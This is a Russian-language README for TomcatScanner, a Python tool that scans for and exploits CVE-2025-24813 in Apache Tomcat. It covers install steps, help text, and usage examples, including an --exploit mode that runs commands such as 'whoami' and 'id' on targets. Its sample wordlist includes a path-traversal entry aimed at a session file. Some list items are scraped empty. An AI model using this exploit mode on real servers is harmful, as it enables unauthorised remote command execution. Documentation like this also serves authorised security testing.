
TomcatScanner — это комплексный инструмент безопасности, предназначенный для обнаружения и эксплуатации уязвимости CVE-2025-24813 в серверах Apache Tomcat.
TomcatScanner — это комплексный инструмент безопасности, предназначенный для обнаружения и эксплуатации уязвимости CVE-2025-24813 на серверах Apache Tomcat. Эта уязвимость связана с проблемой эквивалентности путей в параметре 'file.Name', что может привести к удаленному выполнению кода (RCE).

git clone https://github.com/yourusername/tomcat-scanner.git
cd tomcat-scanner
pip install -r requirements.txt
Файл requirements.txt должен содержать:
requests>=2.28.0
urllib3>=1.26.0
Создайте файл с именем wordlist.txt, содержащий пути для проверки на уязвимость, или используйте предоставленный образец словаря.
Сканирование одной цели:
python tomcat_scanner.py -u http://example.com:8080
Сканирование нескольких целей из файла:
python tomcat_scanner.py -l targets.txt
usage: tomcat_scanner.py [-h] [-u URL] [-l LIST] [-w WORDLIST] [-t THREADS]
[-o OUTPUT] [--timeout TIMEOUT] [--ssl-verify]
[-v] [--exploit] [--command COMMAND]
Scanner for CVE-2025-24813 vulnerability in Apache Tomcat
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Single target URL (e.g., http://example.com:8080)
-l LIST, --list LIST File containing a list of target URLs
-w WORDLIST, --wordlist WORDLIST
Wordlist file containing paths to test (default: wordlist.txt)
-t THREADS, --threads THREADS
Number of parallel threads (default: 10)
-o OUTPUT, --output OUTPUT
Output file for results
--timeout TIMEOUT Request timeout in seconds (default: 5)
--ssl-verify Verify SSL certificates
-v, --verbose Enable verbose mode with HTTP response codes
--exploit Attempt to exploit vulnerable targets
--command COMMAND Test command for exploit mode (default: echo CVE-2025-24813)
Для не только обнаружения, но и эксплуатации уязвимости:
python tomcat_scanner.py -u http://vulnerable-server.com:8080 --exploit
Укажите пользовательскую команду для выполнения во время эксплуатации:
python tomcat_scanner.py -u http://vulnerable-server.com:8080 --exploit --command "whoami"
python tomcat_scanner.py -u http://example.com:8080 -w my_wordlist.txt
python tomcat_scanner.py -u http://example.com:8080 -t 20 -v
python tomcat_scanner.py -l target_list.txt -o vulnerable_targets.txt
python tomcat_scanner.py -u http://example.com:8080 --exploit --command "id" -v --timeout 10
TomcatScanner требует словарь путей для проверки. Словарь должен содержать потенциально уязвимые пути, по одному на строку.
Пример записей словаря:
/path/uploads/file.name
/webapps/manager/file.name
/tomcat/manager/uploads/file.name
/uploads/../sessions/absholi7ly.session
Инструмент использует цветовую кодировку вывода для быстрой идентификации важной информации:
В конце каждого сканирования выводится сводка, включающая:
CVE-2025-24813 затрагивает Apache Tomcat и связана с уязвимостью эквивалентности путей в обработке параметра 'file.Name'. Эта уязвимость может позволить злоумышленникам:
Уязвимость обычно проявляется, когда разрешен PUT-запрос для записи в путь, содержащий "file.name", или когда возможен обход пути через частичную операцию PUT.
ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И ЭТИЧНЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ.
Использование TomcatScanner для атак на цели без предварительного обоюдного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут никакой ответственности и не отвечают за любое ненадлежащее использование или ущерб, причиненный данной программой.
Приветствуются любые вклады! Пожалуйста, не стесняйтесь отправлять Pull Request.
Шаги для участия:
git checkout -b feature/amazing-feature).git commit -m 'Add amazing feature').git push origin feature/amazing-feature).Этот проект лицензирован в соответствии с лицензией MIT. Подробности см. в файле LICENSE.
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...